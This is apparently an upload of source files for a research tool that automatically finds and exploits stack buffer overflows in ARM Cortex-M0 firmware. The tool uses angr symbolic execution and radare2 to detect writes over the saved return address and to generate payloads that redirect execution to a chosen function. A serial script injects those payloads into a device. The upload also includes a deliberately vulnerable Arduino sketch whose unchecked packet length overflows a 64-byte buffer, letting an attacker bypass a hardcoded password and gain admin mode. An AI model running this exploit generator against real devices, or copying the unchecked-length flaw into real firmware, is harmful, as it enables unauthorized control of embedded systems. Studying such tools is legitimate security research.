JungHyun Kim

Upload source files

No preview for this file type
1 +import serial
2 +from threading import Thread
3 +
4 +s = serial.Serial(
5 + port = 'COM3',
6 + baudrate= 9600,
7 +)
8 +print('[+] connected')
9 +buffer = []
10 +def cb_recv():
11 + while True:
12 + l = s.readline().decode(encoding='ascii', errors='ignore')
13 + buffer.append(l)
14 +Thread(target=cb_recv).start()
15 +while True:
16 + if len(buffer) != 0:
17 + for l in buffer:
18 + print('received:', l)
19 + buffer.clear()
20 + inst = input("Input:")
21 + tokens = inst.split(' ')
22 + if tokens[0] == 'i': # inject a code
23 + with open(tokens[1], 'rb') as f:
24 + s.write(f.read())
25 + elif tokens[0] == 's': # input string
26 + type = int(tokens[1])
27 + msg = tokens[2].encode(encoding='ascii')
28 + payload = bytes([len(msg), type]) + msg
29 + print('sent:', payload)
30 + s.write(payload)
31 + elif tokens[0] == 'q': # quit
32 + s.close()
33 + break
...\ No newline at end of file ...\ No newline at end of file
1 +from utils import *
2 +import restore
3 +
4 +import angr
5 +import claripy
6 +import logging
7 +import z3
8 +import struct
9 +import sys
10 +import click
11 +
12 +API_PATH = 'api.txt'
13 +CFG_PATH = 'cfg.txt'
14 +VULN_PATH = 'vuln.txt'
15 +
16 +HEURISTICS_FIND_CANDIDATE = int(1e3)
17 +HEURISTICS_VALIDATE_CANDIDATE = int(1e5)
18 +
19 +GLOBAL_TABLE = {
20 + 'ep_offset': 0x00000004,
21 + 'global_start': 0x20000000,
22 + 'global_size': 0x00001000,
23 + 'stack_top': 0x20002000,
24 + 'stack_size': 0x00001000,
25 + 'dma_start': 0x50000000,
26 + 'dma_size': 0x00001000
27 +}
28 +
29 +class M0Analyzer:
30 + def __init__(self, binPath):
31 + self.binPath = binPath
32 + self.bin = loadBinary(binPath)
33 + self.__loadAngrAndCfg()
34 + logging.getLogger('angr').propagate = False
35 + logging.getLogger('angr').setLevel('CRITICAL')
36 +
37 + def analyze(self, limit1=HEURISTICS_FIND_CANDIDATE, limit2=HEURISTICS_VALIDATE_CANDIDATE):
38 + self.limit1 = limit1
39 + self.limit2 = limit2
40 + self.__loadAngrAndCfg()
41 + self.__loadAPI()
42 + self.__extractCfg()
43 + self.__extractAPIList()
44 + self.__analyze()
45 +
46 + def read32(self, o):
47 + return struct.unpack('<L', self.bin[o:o+4])[0]
48 +
49 + def get_entry_offset(self):
50 + return self.read32(GLOBAL_TABLE['ep_offset']) & (~1)
51 +
52 + def generate_payload(self, out_path, code_offset, destination_offset, return_offset):
53 + with open(VULN_PATH, 'rt') as f:
54 + for line in f.readlines():
55 + line = line.strip('\r\n ')
56 + tokens = line.split('\t')
57 + if len(tokens) != 3:
58 + continue
59 + type, offset, payload = tokens[0], int(tokens[1], 16), tokens[2]
60 + if offset == code_offset:
61 + found = (offset, payload)
62 + break
63 + if found == None:
64 + return False
65 + with open(out_path, 'wb') as f:
66 + def write_u8(v):
67 + f.write(bytes([v]))
68 + def write_u32(v):
69 + for _ in range(4): # little-endian
70 + write_u8(v & 0xff)
71 + v >>= 8
72 + for v in payload.split(','):
73 + if v == '[offset]':
74 + write_u32(destination_offset + 2 + 1) # skip its first push instruction
75 + else:
76 + write_u8(int(v, 16))
77 + opcode, operand = getInst(self.p.factory.block(destination_offset+1))
78 + assert opcode.find('push') != -1 # only support calling a function with prologue
79 + lr_offset = (len(operand.split(',')) - 1) * 4
80 + for _ in range(lr_offset):
81 + write_u8(0x00)
82 + write_u32(return_offset+1)
83 + return True
84 +
85 + def __loadAngrAndCfg(self):
86 + ep = self.get_entry_offset()
87 + main_opts = {'backend': 'blob', 'arch': 'arm', 'base_addr':0, 'entry_point': ep+1}
88 + self.p = p = angr.Project(self.binPath, main_opts=main_opts, use_sim_procedures=True)
89 + self.cfg = cfg = p.analyses.CFGFast(force_complete_scan=False, function_starts=[ep+1])
90 + cfg.normalize()
91 +
92 + def __loadAPI(self):
93 + self.l = l = restore.RestoreAPI(self.binPath, self.cfg.functions.keys()).restore()
94 + p = self.p
95 + class HookReturn(angr.SimProcedure):
96 + def run(self, return_value=None):
97 + if return_value == None:
98 + return
99 + if return_value == 'no_return':
100 + ret = None
101 + elif return_value == 'return_sym':
102 + ret = claripy.BVS('sym', 4*8)
103 + elif return_value == 'return_zero':
104 + ret = 0x0
105 + elif return_value == 'return_one':
106 + ret = 0x1
107 + elif return_value == 'on_read':
108 + ret = claripy.BVS('read', 1*8)
109 + self.state.globals['on_read_history'].append({
110 + 'addr': self.state.addr,
111 + 'bvs': ret
112 + })
113 + return ret
114 + for offset in l:
115 + type = l[offset]['type']
116 + if type not in ['no_return', 'return_sym', 'return_zero', 'return_one', 'on_read']:
117 + raise Exception('Invalid type: ' + type)
118 + # note that angr uses odd offsets in thumb-mode.
119 + p.hook(offset+1, HookReturn(return_value=type))
120 + print('[+] loaded APIs')
121 + self.__findMain()
122 +
123 + def __findMain(self):
124 + # where is our init function?
125 + init_offset = None
126 + for offset in self.l:
127 + v = self.l[offset]
128 + if v['name'] == 'init':
129 + init_offset = offset
130 + break
131 + assert init_offset != None # assume that init func has been found
132 + # find its caller
133 + r = getRadareHandlerByOffsetList(self.binPath, self.cfg.functions.keys())
134 + r.cmd('s %d' % init_offset)
135 + caller_map = json.loads(r.cmd('agCj'))
136 + caller_offset = None
137 + for v in caller_map:
138 + for callee in v['imports']:
139 + if callee == 'fcn.%08x' % init_offset:
140 + caller_offset = int(v['name'].split('.')[1], 16)
141 + break
142 + assert caller_offset != None
143 + self.main_offset = caller_offset
144 + self.l[caller_offset] = { 'name': 'main' }
145 +
146 + def __extractCfg(self):
147 + r = getRadareHandlerByOffsetList(self.binPath, self.cfg.functions.keys())
148 + for o in self.l:
149 + v = self.l[o]
150 + n = v['name']
151 + r.cmd('s %d' % o)
152 + r.cmd('afn %s' % n)
153 + r.cmd('pdf @@fcn > %s' % CFG_PATH)
154 + print('[+] extracted cfg')
155 +
156 + def __extractAPIList(self):
157 + with open(API_PATH, 'wt') as f:
158 + l = sorted(self.l.items())
159 + for v in l:
160 + k, v = v
161 + f.write('%08x\t%s\n' % (k, v['name']))
162 + print('[+] extracted api list')
163 +
164 + def __analyze(self):
165 + print('[*] find candidates')
166 + sim = self.p.factory.simgr(self.__generate_state(offset=self.get_entry_offset()))
167 + sim.use_technique(angr.exploration_techniques.DFS())
168 + candidates = {}
169 + step_count = 0
170 + while len(sim.active) > 0:
171 + sim.step()
172 + for state in sim.active:
173 + target_offset = state.callstack.func_addr
174 + return_offset = state.callstack.ret_addr
175 + if len(state.globals['on_read_history']) == 0:
176 + continue
177 + addr_ = state.globals['on_read_history'][-1]['addr']
178 + if addr_ in candidates:
179 + continue
180 + print('[*] found a candidate')
181 + candidate = {
182 + 'state': state.copy(),
183 + 'target_offset': target_offset,
184 + 'return_offset': return_offset
185 + }
186 + candidates[addr_] = candidate
187 + self.__test_candidate(candidate)
188 + step_count += 1
189 + if step_count >= self.limit1:
190 + break
191 + print('[+] analyzed all')
192 + return candidates
193 +
194 + def __test_candidate(self, candidate):
195 + sim = self.p.factory.simgr(candidate['state'])
196 + sim.use_technique(angr.exploration_techniques.DFS())
197 + sim.explore(n=self.limit2, avoid=lambda s: (s.callstack.func_addr&(~1))==self.main_offset)
198 +
199 + def __generate_state(self, offset):
200 + state = self.p.factory.entry_state(addr=offset + 1)
201 + state.regs.r13 = state.callstack.stack_ptr = GLOBAL_TABLE['stack_top']
202 + state.globals['start_ptr_map'] = {}
203 + state.globals['on_read_history'] = []
204 + state.globals['has_appeared'] = {}
205 + def cb_before_write(state): # detect BOF
206 + if not state.inspect.instruction:
207 + return
208 + dest = state.solver.eval(state.inspect.mem_write_address)
209 + pc = state.solver.eval(state.regs.pc)
210 + if dest >= GLOBAL_TABLE['stack_top']-GLOBAL_TABLE['stack_size'] and dest <= GLOBAL_TABLE['stack_top']:
211 + opcode, operand = getInst(self.p.factory.block(pc))
212 + excepts=['push', 'sub']
213 + for key in excepts:
214 + if opcode.find(key) != -1:
215 + return
216 + if state.callstack.stack_ptr == -1:
217 + lr_ptr = GLOBAL_TABLE['stack_top'] - 4
218 + else:
219 + lr_ptr = state.callstack.stack_ptr - 4
220 + if pc not in state.globals['start_ptr_map']:
221 + state.globals['start_ptr_map'][pc] = dest
222 + if dest >= lr_ptr and dest < lr_ptr + 4:
223 + if state.addr in state.globals['has_appeared']:
224 + return
225 + else:
226 + state.globals['has_appeared'][state.addr] = True
227 + payload = []
228 + history = state.globals['on_read_history']
229 + for v in history[:-1]: # except the last element
230 + payload.append(state.solver.eval(v['bvs']))
231 + self.__write_vuln_info({
232 + 'type': 'bof',
233 + 'addr': state.addr,
234 + 'payload': payload
235 + })
236 + def cb_before_read(state): # simulate memory-mapped io
237 + if not state.inspect.instruction:
238 + return
239 + dest = state.solver.eval(state.inspect.mem_read_address)
240 + if dest >= GLOBAL_TABLE['dma_start'] and dest < GLOBAL_TABLE['dma_start'] + GLOBAL_TABLE['dma_size']:
241 + state.memory.store(dest, claripy.BVS(str(dest), 4*8)) # at most 32bits
242 + state.inspect.b('mem_write', when=angr.BP_BEFORE, action=cb_before_write)
243 + state.inspect.b('mem_read', when=angr.BP_BEFORE, action=cb_before_read)
244 + return state
245 +
246 + def __write_vuln_info(self, info):
247 + with open(VULN_PATH, 'a') as f:
248 + type = info['type']
249 + addr = '%08x' % (info['addr'] & (~1))
250 + payload = ','.join(list(map(lambda v: '%02x' % v, info['payload']))) + ',' + '[offset]'
251 + s = f'{type}\t{addr}\t{payload}\n'
252 + f.write(s)
253 + print('[*] found a vuln:', s)
254 +
255 +@click.command()
256 +@click.option('--type', required=True)
257 +@click.option('--name', required=True)
258 +@click.option('--limit1', required=False, default=HEURISTICS_FIND_CANDIDATE)
259 +@click.option('--limit2', required=False, default=HEURISTICS_VALIDATE_CANDIDATE)
260 +@click.option('--out', required=False, default='')
261 +@click.option('--code', required=False, default='')
262 +@click.option('--dest', required=False, default='')
263 +@click.option('--ret', required=False, default='0')
264 +def main(type, name, limit1, limit2, out, code, dest, ret):
265 + analyzer = M0Analyzer(name)
266 + assert type == 'a' or type == 'g'
267 + if type == 'a': # analyze
268 + analyzer.analyze(limit1, limit2)
269 + elif type == 'g': # generate
270 + analyzer.generate_payload(out, int(code, 16), int(dest, 16), int(ret, 16))
271 + print('[+] done')
272 + exit(0)
273 +
274 +if __name__ == "__main__":
275 + main()
...\ No newline at end of file ...\ No newline at end of file
1 +angr==9.0.6136
2 +capstone==4.0.2
3 +claripy==9.0.6136
4 +click==6.7
5 +pyserial==3.4
6 +r2pipe==1.5.3
7 +z3-solver==4.8.10.0
...\ No newline at end of file ...\ No newline at end of file
1 +from utils import *
2 +import re
3 +from capstone import *
4 +
5 +# 완전히 다른 놈이면 0.000... 이렇게 나오더라
6 +THRESH_HOLD = 0.80
7 +API_ELF_PATH = 'API.ino.elf'
8 +API_DB_PATH = 'sym_func.db'
9 +
10 +class RestoreAPI:
11 + def __init__(self, binPath, functionOffsets):
12 + funcs = readFunctionInfoFromElf(API_ELF_PATH)
13 + funcs = self.__refineByDB(funcs)
14 + apiList = {}
15 + angrFuncList = readFunctionInfoFromBin(binPath, functionOffsets)
16 + for func in funcs:
17 + found = self.__findMostSimilarFunction(func, angrFuncList)
18 + if found['prob'] >= THRESH_HOLD:
19 + apiList[found['offset']] = {
20 + 'type': func['type'],
21 + 'name': func['name']
22 + }
23 + print(found['prob'], hex(found['offset']), func['name'])
24 + print('[*] found api count:', len(apiList))
25 + self.apiList = apiList
26 +
27 + def __findMostSimilarFunction(self, src, angrFuncList):
28 + BoB = {'offset': -1, 'prob': 0.0, 'ops': []}
29 + for angrFunc in angrFuncList:
30 + prob = compareFunction(src['ops'], angrFunc['ops'])
31 + if prob > BoB['prob']:
32 + BoB['offset'] = angrFunc['offset']
33 + BoB['prob'] = prob
34 + BoB['ops'] = angrFunc['ops']
35 + return BoB
36 +
37 + def __refineByDB(self, funcs):
38 + dbMap = self.__readDB(API_DB_PATH)
39 + ret = []
40 + for func in funcs:
41 + info = self.__findInfoByName(dbMap, func['name'])
42 + if info == None:
43 + continue
44 + name = func['name']
45 + name = name[name.find('.')+1:]
46 + func['name'] = name
47 + print(f'db: {name}')
48 + func['type'] = info['type']
49 + ret.append(func)
50 + return ret
51 +
52 + def __readDB(self, dbPath):
53 + ret = []
54 + currentType = None
55 + with open(dbPath, 'rt') as f:
56 + for s in f.readlines():
57 + s = s.strip(' \n')
58 + if s == '':
59 + continue
60 + if s[0] == '#':
61 + continue
62 + t = re.findall('^!\((.+)\)$', s)
63 + if len(t) == 1:
64 + currentType = t[0]
65 + else:
66 + # it must be substring of function name!
67 + ret.append({'name': s, 'type': currentType})
68 + return ret
69 +
70 + def __findInfoByName(self, dbMap, name):
71 + for v in dbMap:
72 + if v['name'] in name:
73 + return v
74 + return None
75 +
76 + def restore(self):
77 + return self.apiList
78 +
...\ No newline at end of file ...\ No newline at end of file
1 +###################################################
2 +!(no_return)
3 +###################################################
4 +init
5 +Print.write
6 +Print::write
7 +# those are too short for using in comparison.
8 +# they can cause False-Positive.
9 +#Print.print
10 +#Print::print
11 +#Print::println
12 +printNumber
13 +# system functions
14 +CLK_
15 +SystemCoreClockUp
16 +libc_init_array
17 +HardwareSerial::write
18 +#HardwareSerial::flush
19 +digitalWrite
20 +
21 +###################################################
22 +!(return_sym)
23 +###################################################
24 +digitalRead
25 +
26 +###################################################
27 +!(return_zero)
28 +###################################################
29 +
30 +###################################################
31 +!(return_one)
32 +###################################################
33 +HardwareSerial::available
34 +
35 +###################################################
36 +!(on_read)
37 +###################################################
38 +HardwareSerial.read
...\ No newline at end of file ...\ No newline at end of file
1 +import r2pipe
2 +import angr
3 +import cle
4 +import json
5 +
6 +def loadBinary(path):
7 + with open(path, 'rb') as f:
8 + return f.read()
9 +
10 +def getInst(block):
11 + inst = block.capstone.insns[0]
12 + # size, address
13 + # mnemonic: opcode
14 + # op_str: operand
15 + return inst.mnemonic, inst.op_str
16 +
17 +def getInsts(block):
18 + ret = []
19 + for inst in block.capstone.insns:
20 + opcode = inst.mnemonic
21 + ret.append(opcode)
22 + return ret
23 + # size, address
24 + # mnemonic: opcode
25 + # op_str: operand
26 +
27 +def readFunctionInfoFromElf(elfPath):
28 + r = r2pipe.open(elfPath, flags=['-2'])
29 + r.cmd('aaa')
30 + ret = []
31 + for f in r.cmd('pdfj @@fcn').split('\n'):
32 + if f == '': continue
33 + f = json.loads(f)
34 + addr = int(f['addr'])
35 + size = int(f['size'])
36 + name = f['name']
37 + ops = []
38 + for v in f['ops']:
39 + if 'opcode' in v:
40 + ops.append(v['opcode'].split(' ')[0])
41 + ret.append({'addr':addr, 'size':size, 'name':name, 'ops':ops})
42 + return ret
43 +
44 +def getRadareHandlerByOffsetList(binPath, functionOffsets):
45 + r = r2pipe.open(binPath, ['-2', '-aarm', '-b16', '-m0x0'])
46 + for offset in functionOffsets:
47 + r.cmd(f"s {offset&(~1)}")
48 + r.cmd('aaa')
49 + return r
50 +
51 +def readFunctionInfoFromBin(binPath, functionOffsets):
52 + ret = []
53 + r = getRadareHandlerByOffsetList(binPath, functionOffsets)
54 + for f in r.cmd('pdfj @@fcn').split('\n'):
55 + if f == '': continue
56 + f = json.loads(f)
57 + addr = int(f['addr'])
58 + size = int(f['size'])
59 + ops = []
60 + for v in f['ops']:
61 + if 'opcode' in v:
62 + ops.append(v['opcode'].split(' ')[0])
63 + ret.append({'offset':addr, 'size':size, 'name':'none', 'ops':ops})
64 + return ret
65 +
66 +def levenshtein(s1, s2, debug=False):
67 + if len(s1) < len(s2):
68 + return levenshtein(s2, s1, debug)
69 +
70 + if len(s2) == 0:
71 + return len(s1)
72 +
73 + previous_row = range(len(s2) + 1)
74 + for i, c1 in enumerate(s1):
75 + current_row = [i + 1]
76 + for j, c2 in enumerate(s2):
77 + insertions = previous_row[j + 1] + 1
78 + deletions = current_row[j] + 1
79 + substitutions = previous_row[j] + (c1 != c2)
80 + current_row.append(min(insertions, deletions, substitutions))
81 +
82 + if debug:
83 + print(current_row[1:])
84 +
85 + previous_row = current_row
86 +
87 + return previous_row[-1]
88 +
89 +def compareFunction(f1, f2):
90 + distance = levenshtein(f1, f2)
91 + return 1.0 - distance / max([len(f1), len(f2)])
92 +
93 + def ngram(s, num):
94 + res = []
95 + slen = len(s) - num + 1
96 + for i in range(slen):
97 + #print('a',s)
98 + ss = (s[i], s[i+1])
99 + #ss = s[i:i+num]
100 + res.append(ss)
101 + return res
102 + def diff_ngram(sa, sb, num):
103 + a = ngram(sa, num)
104 + b = ngram(sb, num)
105 + r = []
106 + cnt = 0
107 + for i in a:
108 + for j in b:
109 + if i == j:
110 + cnt += 1
111 + r.append(i)
112 + #return cnt / max([len(a), len(b)]), r
113 + return cnt, r
114 + prob, _ = diff_ngram(f1, f2, 2)
115 + return prob
116 +
117 +# readFunctionInfoFromElf('API.ino.elf')
...\ No newline at end of file ...\ No newline at end of file
1 +//
2 +// Global Variables
3 +//
4 +// A flag which determines the input mode.
5 +bool isAdmin = false;
6 +// It may be changed every time the device boots up.
7 +const char PASSWORD[] = "033BD94B1168D7E4F0D644C3C95E35BF";
8 +
9 +//
10 +// Definitions
11 +//
12 +
13 +#define BUFFER_SIZE 64
14 +
15 +struct Packet {
16 + unsigned char size;
17 + unsigned char type;
18 + unsigned char data[BUFFER_SIZE];
19 +};
20 +
21 +namespace User {
22 + enum PacketType {
23 + Hello = 0x00,
24 + Auth
25 + };
26 + void onInput(Packet&);
27 + void switchToAdmin();
28 +}
29 +
30 +namespace Admin {
31 + enum PacketType {
32 + Hello = 0x00
33 + };
34 + void onInput(Packet&);
35 +}
36 +
37 +char recv() {
38 + while(!Serial.available());
39 + return Serial.read();
40 +}
41 +
42 +void setup() {
43 + Serial.begin(9600);
44 + Serial.println("[+] Initialized");
45 +}
46 +
47 +void loop() {
48 + if(Serial.available()) {
49 + Packet packet;
50 + packet.size = recv();
51 + packet.type = recv();
52 + int i = 0;
53 + while(true) {
54 + if(i >= packet.size) break;
55 + packet.data[i++] = recv();
56 + }
57 + if(isAdmin) {
58 + Admin::onInput(packet);
59 + } else {
60 + User::onInput(packet);
61 + }
62 + }
63 +}
64 +
65 +void User::onInput(Packet &packet) {
66 + switch(packet.type) {
67 + case User::PacketType::Hello:
68 + Serial.print("Hello,");
69 + Serial.println((char*)packet.data);
70 + break;
71 + case User::PacketType::Auth:
72 + if(!memcmp(packet.data, PASSWORD, sizeof(PASSWORD))) {
73 + switchToAdmin();
74 + } else {
75 + Serial.println("[*] Invalid password");
76 + }
77 + break;
78 + default:
79 + Serial.print("[*] Invalid packet type: ");
80 + Serial.println(packet.type);
81 + break;
82 + }
83 +}
84 +
85 +void Admin::onInput(Packet &packet) {
86 + switch(packet.type) {
87 + case Admin::PacketType::Hello:
88 + Serial.print("You are an admin, ");
89 + Serial.println((char*)packet.data);
90 + break;
91 + default:
92 + Serial.print("[*] Invalid packet type: ");
93 + Serial.println(packet.type);
94 + break;
95 + }
96 +}
97 +
98 +void User::switchToAdmin() {
99 + isAdmin = true;
100 + Serial.println("[*] Switched to admin mode");
101 +}
...\ No newline at end of file ...\ No newline at end of file